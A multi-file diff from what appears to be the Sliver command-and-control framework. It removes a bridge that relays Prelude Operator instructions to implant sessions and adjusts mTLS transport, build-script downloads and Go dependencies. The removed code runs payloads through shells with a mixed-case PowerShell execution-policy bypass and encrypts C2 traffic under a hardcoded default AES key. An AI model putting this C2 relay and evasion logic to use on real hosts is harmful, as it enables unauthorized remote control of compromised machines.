return execResp.Response.Err, 0, 0
|
||||
}
|
||||
return execResp.Stdout, int(execResp.Status), int(execResp.Pid)
|
||||
}
|
||||
|
||||
func getCmdArg(executor string) []string {
|
||||
var args []string
|
||||
switch executor {
|
||||
case "cmd":
|
||||
args = []string{"/C", "/S"}
|
||||
case "powershell", "psh":
|
||||
args = []string{"-execu", "ByPasS", "-C"}
|
||||
case "sh", "bash", "zsh":
|
||||
args = []string{"-c"}
|
||||
}
|
||||
return args
|
||||
}
|
||||
|
||||
func splitMessage(message string, splitRune rune) []string {
|
||||
quoted := false
|
||||
values := strings.FieldsFunc(message, func(r rune) bool {
|
||||
if r == '"' {
|
||||
quoted = !quoted
|
||||
}
|
||||
return !quoted && r == splitRune
|
||||
})
|
||||
return values
|
||||
}
|
||||
|
||||
func shutdown(cfg *AgentConfig, rpc rpcpb.SliverRPCClient, session *clientpb.Session) (string, int, int) {
|
||||
_, err := rpc.KillSession(context.Background(), &sliverpb.KillSessionReq{
|
||||
Force: false,
|
||||
Request: MakeRequest(session),
|
||||
})
|
||||
if err != nil {
|
||||
return err.Error(), 1, 0
|
||||
}
|
||||
return fmt.Sprintf("Terminated %s", session.Name), 0, 0
|
||||
}
|
||||
@@ -1,91 +0,0 @@
|
||||
package prelude
|
||||
|
||||
import (
|
||||
"crypto/md5"
|
||||
"encoding/hex"
|
||||
"io"
|
||||
"sort"
|
||||
)
|
||||
|
||||
type Configuration interface {
|
||||
ApplyConfig(ac map[string]interface{})
|
||||
BuildBeacon() Beacon
|
||||
}
|
||||
|
||||
type AgentConfig struct {
|
||||
Name string
|
||||
AESKey string
|
||||
Range string
|
||||
Contact string
|
||||
Address string
|
||||
Useragent string
|
||||
Sleep int
|
||||
KillSleep int
|
||||
CommandJitter int
|
||||
CommandTimeout int
|
||||
Pid int
|
||||
Proxy string
|
||||
Debug bool
|
||||
Executing map[string]Instruction
|
||||
}
|
||||
|
||||
type Beacon struct {
|
||||
Name string
|
||||
Target string
|
||||
Hostname string
|
||||
Location string
|
||||
Platform string
|
||||
Executors []string
|
||||
Range string
|
||||
Sleep int
|
||||
Pwd string
|
||||
Executing string
|
||||
Links []Instruction
|
||||
}
|
||||
|
||||
type Instruction struct {
|
||||
ID string `json:"ID"`
|
||||
Executor string `json:"Executor"`
|
||||
Payload string `json:"Payload"`
|
||||
Request string `json:"Request"`
|
||||
Response string
|
||||
Status int
|
||||
Pid int
|
||||
}
|
||||
|
||||
func (c *AgentConfig) BuildExecutingHash() string {
|
||||
if count := len(c.Executing); count > 0 {
|
||||
ids := make([]string, count)
|
||||
for id := range c.Executing {
|
||||
ids = append(ids, id)
|
||||
}
|
||||
sort.Strings(ids)
|
||||
h := md5.New()
|
||||
for _, s := range ids {
|
||||
io.WriteString(h, s)
|
||||
}
|
||||
return hex.EncodeToString(h.Sum(nil))
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func (c *AgentConfig) StartInstruction(instruction Instruction) bool {
|
||||
if _, ex := c.Executing[instruction.ID]; ex {
|
||||
return false
|
||||
}
|
||||
c.Executing[instruction.ID] = instruction
|
||||
return true
|
||||
}
|
||||
|
||||
func (c *AgentConfig) StartInstructions(instructions []Instruction) (ret []Instruction) {
|
||||
for _, i := range instructions {
|
||||
if c.StartInstruction(i) {
|
||||
ret = append(ret, i)
|
||||
}
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func (c *AgentConfig) EndInstruction(instruction Instruction) {
|
||||
delete(c.Executing, instruction.ID)
|
||||
}
|
||||
@@ -1,119 +0,0 @@
|
||||
package prelude
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"net"
|
||||
"sync"
|
||||
|
||||
"github.com/bishopfox/sliver/client/prelude/util"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
const (
|
||||
aesDefaultKey = "abcdefghijklmnopqrstuvwxyz012345"
|
||||
)
|
||||
|
||||
var SessionMapper *PreludeSessionMapper
|
||||
|
||||
type OperatorConfig struct {
|
||||
Range string
|
||||
OperatorURL string
|
||||
RPC rpcpb.SliverRPCClient
|
||||
AESKey string
|
||||
}
|
||||
|
||||
type PreludeSessionMapper struct {
|
||||
sessions []*AgentSession
|
||||
conf *OperatorConfig
|
||||
sync.Mutex
|
||||
}
|
||||
|
||||
func InitSessionMapper(conf *OperatorConfig) *PreludeSessionMapper {
|
||||
if SessionMapper == nil {
|
||||
SessionMapper = &PreludeSessionMapper{
|
||||
sessions: make([]*AgentSession, 0),
|
||||
conf: conf,
|
||||
}
|
||||
}
|
||||
return SessionMapper
|
||||
}
|
||||
|
||||
func (p *PreludeSessionMapper) AddSession(s *clientpb.Session) error {
|
||||
var pwd string
|
||||
conn, err := net.Dial("tcp", p.conf.OperatorURL)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
pwdResp, err := p.conf.RPC.Pwd(context.Background(), &sliverpb.PwdReq{
|
||||
Request: MakeRequest(s),
|
||||
})
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if pwdResp != nil {
|
||||
pwd = pwdResp.Path
|
||||
}
|
||||
// Operator implants have embeded static IDs, but we don't,
|
||||
// so to avoid having multiple sessions showing as one on the Operator
|
||||
// GUI, we need to have a unique name for them.
|
||||
// Plus, having the ID in the name will help the user to make the
|
||||
// correlation.
|
||||
sessName := fmt.Sprintf("%s-%d", s.Name, s.ID)
|
||||
beacon := Beacon{
|
||||
Name: sessName,
|
||||
Target: p.conf.OperatorURL,
|
||||
Hostname: s.Hostname,
|
||||
Location: s.Filename,
|
||||
Platform: s.OS,
|
||||
Range: p.conf.Range,
|
||||
Executors: util.DetermineExecutors(s.OS, s.Arch),
|
||||
Links: make([]Instruction, 0),
|
||||
Executing: "",
|
||||
Pwd: pwd,
|
||||
Sleep: 3,
|
||||
}
|
||||
|
||||
encryptionKey := aesDefaultKey
|
||||
if p.conf.AESKey != "" {
|
||||
encryptionKey = p.conf.AESKey
|
||||
}
|
||||
agentConfig := AgentConfig{
|
||||
Name: sessName,
|
||||
AESKey: encryptionKey,
|
||||
Range: p.conf.Range,
|
||||
Contact: "tcp",
|
||||
Address: p.conf.OperatorURL,
|
||||
Pid: int(s.PID),
|
||||
Executing: make(map[string]Instruction),
|
||||
}
|
||||
util.EncryptionKey = &agentConfig.AESKey
|
||||
agentSession := NewAgentSession(&conn, s, p.conf.RPC, beacon, agentConfig)
|
||||
p.Lock()
|
||||
p.sessions = append(p.sessions, agentSession)
|
||||
p.Unlock()
|
||||
go agentSession.ReceiveLoop()
|
||||
return nil
|
||||
}
|
||||
|
||||
func (p *PreludeSessionMapper) RemoveSession(s *clientpb.Session) (err error) {
|
||||
p.Lock()
|
||||
for _, agentSession := range p.sessions {
|
||||
if agentSession.Session.ID == s.ID {
|
||||
if agentSession.Conn != nil {
|
||||
err = (*agentSession.Conn).Close()
|
||||
} else {
|
||||
err = errors.New("connection is nil")
|
||||
}
|
||||
}
|
||||
}
|
||||
p.Unlock()
|
||||
return err
|
||||
}
|
||||
|
||||
func (p *PreludeSessionMapper) GetConfig() *OperatorConfig {
|
||||
return p.conf
|
||||
}
|
||||
@@ -1,66 +0,0 @@
|
||||
package util
|
||||
|
||||
import (
|
||||
"crypto/aes"
|
||||
"crypto/cipher"
|
||||
"crypto/rand"
|
||||
"encoding/hex"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
)
|
||||
|
||||
var EncryptionKey *string
|
||||
|
||||
//Encrypt the results
|
||||
func Encrypt(bites []byte) []byte {
|
||||
plainText, err := pad(bites, aes.BlockSize)
|
||||
if err != nil {
|
||||
return make([]byte, 0)
|
||||
}
|
||||
block, _ := aes.NewCipher([]byte(*EncryptionKey))
|
||||
cipherText := make([]byte, aes.BlockSize+len(plainText))
|
||||
iv := cipherText[:aes.BlockSize]
|
||||
if _, err := io.ReadFull(rand.Reader, iv); err != nil {
|
||||
return make([]byte, 0)
|
||||
}
|
||||
mode := cipher.NewCBCEncrypter(block, iv)
|
||||
mode.CryptBlocks(cipherText[aes.BlockSize:], plainText)
|
||||
return []byte(fmt.Sprintf("%x", cipherText))
|
||||
}
|
||||
|
||||
//Decrypt a command
|
||||
func Decrypt(text string) string {
|
||||
cipherText, _ := hex.DecodeString(text)
|
||||
block, err := aes.NewCipher([]byte(*EncryptionKey))
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
iv := cipherText[:aes.BlockSize]
|
||||
cipherText = cipherText[aes.BlockSize:]
|
||||
mode := cipher.NewCBCDecrypter(block, iv)
|
||||
mode.CryptBlocks(cipherText, cipherText)
|
||||
cipherText, _ = unpad(cipherText, aes.BlockSize)
|
||||
return string(cipherText)
|
||||
}
|
||||
|
||||
func pad(buf []byte, size int) ([]byte, error) {
|
||||
bufLen := len(buf)
|
||||
padLen := size - bufLen%size
|
||||
padded := make([]byte, bufLen+padLen)
|
||||
copy(padded, buf)
|
||||
for i := 0; i < padLen; i++ {
|
||||
padded[bufLen+i] = byte(padLen)
|
||||
}
|
||||
return padded, nil
|
||||
}
|
||||
|
||||
func unpad(padded []byte, size int) ([]byte, error) {
|
||||
if len(padded)%size != 0 {
|
||||
return nil, errors.New("pkcs7: Padded value wasn't in correct size")
|
||||
}
|
||||
bufLen := len(padded) - int(padded[len(padded)-1])
|
||||
buf := make([]byte, bufLen)
|
||||
copy(buf, padded[:bufLen])
|
||||
return buf, nil
|
||||
}
|
||||
@@ -1,30 +0,0 @@
|
||||
package util
|
||||
|
||||
func DetermineExecutors(platform string, arch string) []string {
|
||||
platformExecutors := map[string]map[string][]string{
|
||||
"windows": {
|
||||
"file": {"pwsh.exe", "powershell.exe", "cmd.exe"},
|
||||
"executor": {"pwsh", "psh", "cmd"},
|
||||
},
|
||||
"linux": {
|
||||
"file": {"python3", "pwsh", "sh", "bash"},
|
||||
"executor": {"python", "pwsh", "sh", "bash"},
|
||||
},
|
||||
"darwin": {
|
||||
"file": {"python3", "pwsh", "zsh", "sh", "osascript", "bash"},
|
||||
"executor": {"python", "pwsh", "zsh", "sh", "osa", "bash"},
|
||||
},
|
||||
}
|
||||
var executors []string
|
||||
for platformKey, platformValue := range platformExecutors {
|
||||
if platform == platformKey {
|
||||
for i := range platformValue["file"] {
|
||||
// if checkIfExecutorAvailable(platformValue["file"][i]) {
|
||||
executors = append(executors, platformExecutors[platformKey]["executor"][i])
|
||||
// }
|
||||
}
|
||||
}
|
||||
}
|
||||
executors = append([]string{"keyword"}, executors...)
|
||||
return executors
|
||||
}
|
||||
@@ -19,7 +19,6 @@ package transport
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"crypto/tls"
|
||||
"crypto/x509"
|
||||
"fmt"
|
||||
@@ -52,13 +51,12 @@ func MTLSConnect(config *assets.ClientConfig) (rpcpb.SliverRPCClient, *grpc.Clie
|
||||
}
|
||||
creds := credentials.NewTLS(tlsConfig)
|
||||
options := []grpc.DialOption{
|
||||
grpc.WithTimeout(defaultTimeout),
|
||||
grpc.WithTransportCredentials(creds),
|
||||
grpc.WithBlock(),
|
||||
grpc.WithDefaultCallOptions(grpc.MaxCallRecvMsgSize(ClientMaxReceiveMessageSize)),
|
||||
}
|
||||
ctx, cancel := context.WithTimeout(context.Background(), defaultTimeout)
|
||||
defer cancel()
|
||||
connection, err := grpc.DialContext(ctx, fmt.Sprintf("%s:%d", config.LHost, config.LPort), options...)
|
||||
connection, err := grpc.Dial(fmt.Sprintf("%s:%d", config.LHost, config.LPort), options...)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
@@ -83,16 +81,17 @@ func getTLSConfig(caCertificate string, certificate string, privateKey string) (
|
||||
RootCAs: caCertPool,
|
||||
InsecureSkipVerify: true, // Don't worry I sorta know what I'm doing
|
||||
VerifyPeerCertificate: func(rawCerts [][]byte, _ [][]*x509.Certificate) error {
|
||||
return RootOnlyVerifyCertificate(caCertificate, rawCerts)
|
||||
return rootOnlyVerifyCertificate(caCertificate, rawCerts)
|
||||
},
|
||||
}
|
||||
tlsConfig.BuildNameToCertificate()
|
||||
return tlsConfig, nil
|
||||
}
|
||||
|
||||
// RootOnlyVerifyCertificate - Go doesn't provide a method for only skipping hostname validation so
|
||||
// we have to disable all of the certificate validation and re-implement everything.
|
||||
// rootOnlyVerifyCertificate - Go doesn't provide a method for only skipping hostname validation so
|
||||
// we have to disable all of the fucking certificate validation and re-implement everything.
|
||||
// https://github.com/golang/go/issues/21971
|
||||
func RootOnlyVerifyCertificate(caCertificate string, rawCerts [][]byte) error {
|
||||
func rootOnlyVerifyCertificate(caCertificate string, rawCerts [][]byte) error {
|
||||
|
||||
roots := x509.NewCertPool()
|
||||
ok := roots.AppendCertsFromPEM([]byte(caCertificate))
|
||||
|
||||
+3
-3
@@ -217,15 +217,15 @@ GEM
|
||||
rb-fsevent (~> 0.10, >= 0.10.3)
|
||||
rb-inotify (~> 0.9, >= 0.9.10)
|
||||
mercenary (0.3.6)
|
||||
mini_portile2 (2.5.3)
|
||||
mini_portile2 (2.6.1)
|
||||
minima (2.5.1)
|
||||
jekyll (>= 3.5, < 5.0)
|
||||
jekyll-feed (~> 0.9)
|
||||
jekyll-seo-tag (~> 2.1)
|
||||
minitest (5.14.4)
|
||||
multipart-post (2.1.1)
|
||||
nokogiri (1.11.7)
|
||||
mini_portile2 (~> 2.5.0)
|
||||
nokogiri (1.12.5)
|
||||
mini_portile2 (~> 2.6.1)
|
||||
racc (~> 1.4)
|
||||
octokit (4.21.0)
|
||||
faraday (>= 0.9)
|
||||
|
||||
@@ -21,11 +21,9 @@
|
||||
|
||||
GO_VER="1.17"
|
||||
GARBLE_VER="1.17.1"
|
||||
COFF_LOADER_VER="1.0.5"
|
||||
|
||||
GO_ARCH_1="amd64"
|
||||
GO_ARCH_2="arm64"
|
||||
GO_ARCH_3="386"
|
||||
BLOAT_FILES="AUTHORS CONTRIBUTORS PATENTS VERSION favicon.ico robots.txt CONTRIBUTING.md LICENSE README.md ./doc ./test ./api ./misc"
|
||||
|
||||
if ! [ -x "$(command -v curl)" ]; then
|
||||
@@ -49,7 +47,6 @@ fi
|
||||
|
||||
REPO_DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )"
|
||||
OUTPUT_DIR=$REPO_DIR/server/assets/fs
|
||||
CLIENT_OUTPUT_DIR=$REPO_DIR/client/assets/fs
|
||||
WORK_DIR=`mktemp -d`
|
||||
|
||||
echo "-----------------------------------------------------------------"
|
||||
@@ -133,10 +130,6 @@ cp -vv windows-go.zip $OUTPUT_DIR/windows/$GO_ARCH_1/go.zip
|
||||
rm -rf ./go
|
||||
rm -f windows-go.zip go$GO_VER.windows-$GO_ARCH_1.zip
|
||||
|
||||
# --- Client ---
|
||||
mkdir -p $CLIENT_OUTPUT_DIR/extensions/windows/$GO_ARCH_1
|
||||
mkdir -p $CLIENT_OUTPUT_DIR/extensions/windows/$GO_ARCH_3
|
||||
|
||||
echo "-----------------------------------------------------------------"
|
||||
echo " Garble"
|
||||
echo "-----------------------------------------------------------------"
|
||||
@@ -145,12 +138,6 @@ curl -L --output $OUTPUT_DIR/windows/$GO_ARCH_1/garble.exe https://github.com/mo
|
||||
curl -L --output $OUTPUT_DIR/darwin/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_1
|
||||
curl -L --output $OUTPUT_DIR/darwin/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_2
|
||||
|
||||
echo "-----------------------------------------------------------------"
|
||||
echo " COFF Loader"
|
||||
echo "-----------------------------------------------------------------"
|
||||
curl -L --output $CLIENT_OUTPUT_DIR/extensions/windows/$GO_ARCH_1/COFFLoader.x64.dll https://github.com/lesnuages/COFFLoader/releases/download/v$COFF_LOADER_VER/COFFLoader.x64.dll
|
||||
curl -L --output $CLIENT_OUTPUT_DIR/extensions/windows/$GO_ARCH_3/COFFLoader.x86.dll https://github.com/lesnuages/COFFLoader/releases/download/v$COFF_LOADER_VER/COFFLoader.x86.dll
|
||||
|
||||
# end
|
||||
echo -e "clean up: $WORK_DIR"
|
||||
rm -rf $WORK_DIR
|
||||
|
||||
+1
-16
@@ -32,6 +32,7 @@ else
|
||||
exit 1
|
||||
fi
|
||||
|
||||
|
||||
## Server
|
||||
|
||||
# server / website
|
||||
@@ -82,22 +83,6 @@ else
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# server / configs
|
||||
if go test -tags=server ./server/configs ; then
|
||||
:
|
||||
else
|
||||
cat ~/.sliver/logs/sliver.log
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# server / console
|
||||
if go test -tags=server ./server/console ; then
|
||||
:
|
||||
else
|
||||
cat ~/.sliver/logs/sliver.log
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# server / generate
|
||||
if go test -tags=server ./server/generate -timeout 6h ; then
|
||||
:
|
||||
|
||||
@@ -10,7 +10,6 @@ require (
|
||||
github.com/Binject/binjection v0.0.0-20200705191933-da1a50d7013d
|
||||
github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf
|
||||
github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e
|
||||
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
|
||||
github.com/BurntSushi/xgb v0.0.0-20201008132610-5f9e7b3c49cd // indirect
|
||||
github.com/Microsoft/go-winio v0.4.16 // indirect
|
||||
github.com/alecthomas/chroma v0.8.1
|
||||
@@ -25,7 +24,6 @@ require (
|
||||
github.com/gorilla/mux v1.8.0
|
||||
github.com/grpc-ecosystem/go-grpc-middleware v1.2.2
|
||||
github.com/hashicorp/go-multierror v1.1.1 // indirect
|
||||
github.com/jedib0t/go-pretty/v6 v6.2.4
|
||||
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
|
||||
github.com/lesnuages/go-socks5 v0.0.0-20210409090601-adbe23bd0194
|
||||
github.com/lesnuages/go-winio v0.4.19
|
||||
@@ -35,7 +33,6 @@ require (
|
||||
github.com/mattn/go-sqlite3 v1.14.5
|
||||
github.com/miekg/dns v1.1.35
|
||||
github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e // indirect
|
||||
github.com/pquerna/otp v1.3.0
|
||||
github.com/sergi/go-diff v1.1.0 // indirect
|
||||
github.com/sirupsen/logrus v1.7.0
|
||||
github.com/spf13/cobra v1.1.1
|
||||
@@ -43,7 +40,6 @@ require (
|
||||
golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e
|
||||
golang.org/x/net v0.0.0-20210410081132-afb366fc7cd1
|
||||
golang.org/x/sys v0.0.0-20210616094352-59db8d763f22
|
||||
golang.org/x/text v0.3.6
|
||||
golang.zx2c4.com/wireguard v0.0.20200121
|
||||
golang.zx2c4.com/wireguard/wgctrl v0.0.0-20200609130330-bd2cb7843e1b
|
||||
google.golang.org/genproto v0.0.0-20210406143921-e86de6bf7a46 // indirect
|
||||
@@ -54,7 +50,7 @@ require (
|
||||
gorm.io/driver/mysql v1.0.3
|
||||
gorm.io/driver/postgres v1.0.5
|
||||
gorm.io/driver/sqlite v1.1.3
|
||||
gorm.io/gorm v1.21.14
|
||||
gorm.io/gorm v1.20.6
|
||||
inet.af/netstack v0.0.0-20210317161235-a1bf4e56ef22
|
||||
)
|
||||
|
||||
@@ -62,9 +58,6 @@ require (
|
||||
github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563 // indirect
|
||||
github.com/VirusTotal/vt-go v0.0.0-20210528074736-45bbe34cc8ab // indirect
|
||||
github.com/VividCortex/ewma v1.1.1 // indirect
|
||||
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 // indirect
|
||||
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 // indirect
|
||||
github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc // indirect
|
||||
github.com/danwakefield/fnmatch v0.0.0-20160403171240-cbb64ac3d964 // indirect
|
||||
github.com/davecgh/go-spew v1.1.1 // indirect
|
||||
github.com/demisto/goxforce v0.0.0-20160322194047-db8357535b1d // indirect
|
||||
@@ -85,15 +78,16 @@ require (
|
||||
github.com/jackc/pgtype v1.5.0 // indirect
|
||||
github.com/jackc/pgx/v4 v4.9.0 // indirect
|
||||
github.com/jinzhu/inflection v1.0.0 // indirect
|
||||
github.com/jinzhu/now v1.1.2 // indirect
|
||||
github.com/jinzhu/now v1.1.1 // indirect
|
||||
github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 // indirect
|
||||
github.com/mattn/go-colorable v0.1.8 // indirect
|
||||
github.com/mattn/go-runewidth v0.0.9 // indirect
|
||||
github.com/mattn/go-runewidth v0.0.7 // indirect
|
||||
github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b // indirect
|
||||
github.com/pmezard/go-difflib v1.0.0 // indirect
|
||||
github.com/spf13/pflag v1.0.5 // indirect
|
||||
github.com/thedevsaddam/gojsonq/v2 v2.5.2 // indirect
|
||||
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1 // indirect
|
||||
golang.org/x/text v0.3.6 // indirect
|
||||
golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba // indirect
|
||||
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect
|
||||
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c // indirect
|
||||
|
||||
@@ -17,15 +17,12 @@ github.com/AlecAivazis/survey/v2 v2.2.2/go.mod h1:9FJRdMdDm8rnT+zHVbvQT2RTSTLq0T
|
||||
github.com/Binject/binjection v0.0.0-20200705191933-da1a50d7013d h1:uq6FM7b88vkNEqwjyP2mK6oL8cymY5b75Luu6ADTStY=
|
||||
github.com/Binject/binjection v0.0.0-20200705191933-da1a50d7013d/go.mod h1:rJLtHgGUqTxJbfg+b+LjWBBPuYUzFFza1LXFhrzfxHA=
|
||||
github.com/Binject/debug v0.0.0-20200621050044-63af8e405111/go.mod h1:6WgJ7mEG7ngJkNwwDkEVreDk2dPGg3oqdI6OEWaeDNg=
|
||||
github.com/Binject/debug v0.0.0-20210225042342-c9b8b45728d2/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ=
|
||||
github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf h1:Cx4YJvjPZD91xiffqJOq8l3j1YKcvx3+8duqq7DX9gY=
|
||||
github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ=
|
||||
github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e h1:ytVmxGQuS7ELO/WpvH6iuY1hVcJ6iOTw3VLOOIFlo8o=
|
||||
github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e/go.mod h1:dc3mUnr4KTKcFKVq7BVbHGF0xAHrIyooQ+VTO7/bIZw=
|
||||
github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563 h1:T8z8Wz/fqaPPANF8Unv4LjWLoa0TAvsjYAsRpvSkOqs=
|
||||
github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563/go.mod h1:HMbzsKPz1sF7H4Hmeovh+d2PH2iKPYpAB4XMOVz8wmM=
|
||||
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313 h1:hX9boCRvCxIpsiV4q9ts+WOYNnjHiji2FOR5BsDzxiY=
|
||||
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313/go.mod h1:J3XDRlam5pPYca3i6EqgQ35GCCEoyxafpCbLkta0ozc=
|
||||
github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU=
|
||||
github.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo=
|
||||
github.com/BurntSushi/xgb v0.0.0-20201008132610-5f9e7b3c49cd h1:u7K2oMFMd8APDV3fM1j2rO3U/XJf1g1qC3DDTKou8iM=
|
||||
@@ -56,16 +53,10 @@ github.com/alecthomas/units v0.0.0-20151022065526-2efee857e7cf/go.mod h1:ybxpYRF
|
||||
github.com/armon/circbuf v0.0.0-20150827004946-bbbad097214e/go.mod h1:3U/XgcO3hCbHZ8TKRvWD2dDTCfh9M9ya+I9JpbB7O8o=
|
||||
github.com/armon/go-metrics v0.0.0-20180917152333-f0300d1749da/go.mod h1:Q73ZrmVTwzkszR9V5SSuryQ31EELlFMUz1kKyl939pY=
|
||||
github.com/armon/go-radix v0.0.0-20180808171621-7fddfc383310/go.mod h1:ufUuZ+zHj4x4TnLV4JWEpy2hxWSpsRywHrMgIH9cCH8=
|
||||
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 h1:JjwxKkxzcBk4k8147g0eBQRCIy0UN1Be8AAv6RaIj4Q=
|
||||
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0/go.mod h1:IbERvuyb387Hppp8hX0SQTFt/mkej8+OhuS8L0nC2CI=
|
||||
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 h1:cIAK2NNf2yafdgpFRNJrgZMwvy61BEVpGoHc2n4/yWs=
|
||||
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4/go.mod h1:SalMPBCab3yuID8nIhLfzwoBV+lBRyaC7NhuN8qL8xE=
|
||||
github.com/beorn7/perks v0.0.0-20180321164747-3a771d992973/go.mod h1:Dwedo/Wpr24TaqPxmxbtue+5NUziq4I4S80YR8gNf3Q=
|
||||
github.com/beorn7/perks v1.0.0/go.mod h1:KWe93zE9D1o94FZ5RNwFwVgaQK1VOXiVxmqh+CedLV8=
|
||||
github.com/bgentry/speakeasy v0.1.0/go.mod h1:+zsyZBPWlz7T6j88CTgSN5bM796AkVf0kBD4zp0CCIs=
|
||||
github.com/bketelsen/crypt v0.0.3-0.20200106085610-5cbc8cc4026c/go.mod h1:MKsuJmJgSg28kpZDP6UIiPt0e0Oz0kqKNGyRaWEPv84=
|
||||
github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc h1:biVzkmvwrH8WK8raXaxBx6fRVTlJILwEwQGL1I/ByEI=
|
||||
github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc/go.mod h1:paBWMcWSl3LHKBqUq+rly7CNSldXjb2rDl3JlRe0mD8=
|
||||
github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU=
|
||||
github.com/cespare/xxhash v1.1.0/go.mod h1:XrSqR1VqqWfGrhpAt58auRo0WTKS1nRRg3ghfAqPWnc=
|
||||
github.com/cheggaaa/pb/v3 v3.0.5 h1:lmZOti7CraK9RSjzExsY53+WWfub9Qv13B5m4ptEoPE=
|
||||
@@ -123,7 +114,6 @@ github.com/fatih/color v1.12.0/go.mod h1:ELkj/draVOlAH/xkhN6mQ50Qd0MPOk5AAr3maGE
|
||||
github.com/flynn/go-shlex v0.0.0-20150515145356-3f9db97f8568 h1:BHsljHzVlRcyQhjrss6TZTdY2VfCqZPbv5k3iBFa2ZQ=
|
||||
github.com/flynn/go-shlex v0.0.0-20150515145356-3f9db97f8568/go.mod h1:xEzjJPgXI435gkrCt3MPfRiAkVrwSbHsst4LCFVfpJc=
|
||||
github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo=
|
||||
github.com/fzipp/gocyclo v0.3.1/go.mod h1:DJHO6AUmbdqj2ET4Z9iArSuwWgYDRryYt2wASxc7x3E=
|
||||
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 h1:Y5Q2mEwfzjMt5+3u70Gtw93ZOu2UuPeeeTBDntF7FoY=
|
||||
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5/go.mod h1:uF6rMu/1nvu+5DpiRLwusA6xB8zlkNoGzKn8lmYONUo=
|
||||
github.com/ghodss/yaml v1.0.0/go.mod h1:4dBDuWmgqj2HViK6kFavaiC9ZROes6MMH2rRYeMEF04=
|
||||
@@ -272,14 +262,10 @@ github.com/jackc/puddle v0.0.0-20190608224051-11cab39313c9/go.mod h1:m4B5Dj62Y0f
|
||||
github.com/jackc/puddle v1.1.0/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk=
|
||||
github.com/jackc/puddle v1.1.1/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk=
|
||||
github.com/jackc/puddle v1.1.2/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk=
|
||||
github.com/jedib0t/go-pretty/v6 v6.2.4 h1:wdaj2KHD2W+mz8JgJ/Q6L/T5dB7kyqEFI16eLq7GEmk=
|
||||
github.com/jedib0t/go-pretty/v6 v6.2.4/go.mod h1:+nE9fyyHGil+PuISTCrp7avEdo6bqoMwqZnuiK2r2a0=
|
||||
github.com/jinzhu/inflection v1.0.0 h1:K317FqzuhWc8YvSVlFMCCUb36O/S9MCKRDI7QkRKD/E=
|
||||
github.com/jinzhu/inflection v1.0.0/go.mod h1:h+uFLlag+Qp1Va5pdKtLDYj+kHp5pxUVkryuEj+Srlc=
|
||||
